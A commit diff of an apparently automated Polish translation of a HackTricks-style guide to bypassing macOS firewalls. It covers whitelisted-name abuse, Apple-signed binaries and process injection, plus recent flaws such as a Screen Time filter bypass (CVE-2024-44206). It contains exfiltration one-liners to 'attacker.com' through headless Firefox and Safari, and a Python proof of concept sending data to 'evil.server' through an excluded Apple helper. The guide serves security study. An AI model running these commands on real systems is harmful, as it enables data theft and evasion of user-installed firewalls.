Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-05 00:32:04 +00:00
parent 635f82dd24
commit e41440c414

View File

@ -6,7 +6,7 @@
Poniższe techniki zostały znalezione jako działające w niektórych aplikacjach zapory macOS.
### Wykorzystywanie nazw na białej liście
### Wykorzystywanie nazw z białej listy
- Na przykład wywołując złośliwe oprogramowanie nazwami dobrze znanych procesów macOS, takich jak **`launchd`**
@ -14,7 +14,7 @@ Poniższe techniki zostały znalezione jako działające w niektórych aplikacja
- Jeśli zapora prosi użytkownika o pozwolenie, spraw, aby złośliwe oprogramowanie **kliknęło na zezwól**
### **Użyj podpisanych binarek Apple**
### **Użyj binarek podpisanych przez Apple**
- Takich jak **`curl`**, ale także innych, jak **`whois`**
@ -28,13 +28,13 @@ Kilka pomysłów na próbę obejścia zapór
### Sprawdź dozwolony ruch
Znajomość dozwolonego ruchu pomoże zidentyfikować potencjalnie białe listy domen lub które aplikacje mają dostęp do nich.
Znajomość dozwolonego ruchu pomoże zidentyfikować potencjalnie dozwolone domeny lub które aplikacje mają do nich dostęp.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Wykorzystywanie DNS
Rozwiązywanie DNS odbywa się za pomocą **`mdnsreponder`** podpisanej aplikacji, która prawdopodobnie będzie miała pozwolenie na kontakt z serwerami DNS.
Rozwiązywanie DNS odbywa się za pomocą **`mdnsreponder`** podpisanej aplikacji, która prawdopodobnie ma pozwolenie na kontakt z serwerami DNS.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
@ -61,7 +61,7 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Poprzez wstrzykiwanie procesów
### Via processes injections
Jeśli możesz **wstrzyknąć kod do procesu**, który ma prawo łączyć się z dowolnym serwerem, możesz obejść zabezpieczenia zapory:
@ -69,8 +69,60 @@ Jeśli możesz **wstrzyknąć kod do procesu**, który ma prawo łączyć się z
macos-proces-abuse/
{{#endref}}
---
## Ostatnie luki w zabezpieczeniach zapory macOS (2023-2025)
### Obejście filtra treści internetowej (Czas ekranowy) **CVE-2024-44206**
W lipcu 2024 roku Apple naprawił krytyczny błąd w Safari/WebKit, który zepsuł systemowy „Filtr treści internetowej” używany przez kontrolę rodzicielską Czas ekranowy.
Specjalnie przygotowane URI (na przykład z podwójnym kodowaniem URL „://”) nie jest rozpoznawane przez ACL Czasu ekranowego, ale jest akceptowane przez WebKit, więc żądanie jest wysyłane bez filtracji. Każdy proces, który może otworzyć URL (w tym kod w piaskownicy lub niepodpisany), może zatem uzyskać dostęp do domen, które są wyraźnie zablokowane przez użytkownika lub profil MDM.
Praktyczny test (system bez poprawek):
```bash
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Błąd kolejności reguł filtrów pakietów (PF) w wczesnym macOS 14 “Sonoma”
Podczas cyklu beta macOS 14 Apple wprowadziło regresję w użytkowym opakowaniu wokół **`pfctl`**. Reguły, które zostały dodane z użyciem słowa kluczowego `quick` (używanego przez wiele przełączników kill-switch VPN), były cicho ignorowane, co powodowało wycieki ruchu, nawet gdy GUI VPN/firewall zgłaszało *zablokowane*. Błąd został potwierdzony przez kilku dostawców VPN i naprawiony w RC 2 (build 23A344).
Szybkie sprawdzenie wycieku:
```bash
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Wykorzystywanie usług pomocniczych podpisanych przez Apple (legacy przed macOS 11.2)
Przed macOS 11.2 **`ContentFilterExclusionList`** pozwalał na ~50 binarnych plików Apple, takich jak **`nsurlsessiond`** i App Store, na ominięcie wszystkich zapór filtrujących gniazda wdrożonych za pomocą frameworka Network Extension (LuLu, Little Snitch itp.).
Złośliwe oprogramowanie mogło po prostu uruchomić wykluczony proces—lub wstrzyknąć do niego kod—i tunelować swój własny ruch przez już dozwolone gniazdo. Apple całkowicie usunęło listę wykluczeń w macOS 11.2, ale technika ta jest nadal istotna w systemach, które nie mogą być zaktualizowane.
Przykład dowodu koncepcji (przed 11.2):
```python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
```
---
## Wskazówki dotyczące narzędzi dla nowoczesnego macOS
1. Sprawdź aktualne zasady PF, które generują zapory GUI:
```bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
```
2. Wymień binaria, które już mają uprawnienia *outgoing-network* (przydatne do podczepiania):
```bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
```
3. Programowo zarejestruj własny filtr treści rozszerzenia sieciowego w Objective-C/Swift.
Minimalny rootless PoC, który przekazuje pakiety do lokalnego gniazda, jest dostępny w kodzie źródłowym **LuLu** Patricka Wardlea.
## Odniesienia
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
- <https://nosebeard.co/advisories/nbl-001.html>
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
{{#include ../../banners/hacktricks-training.md}}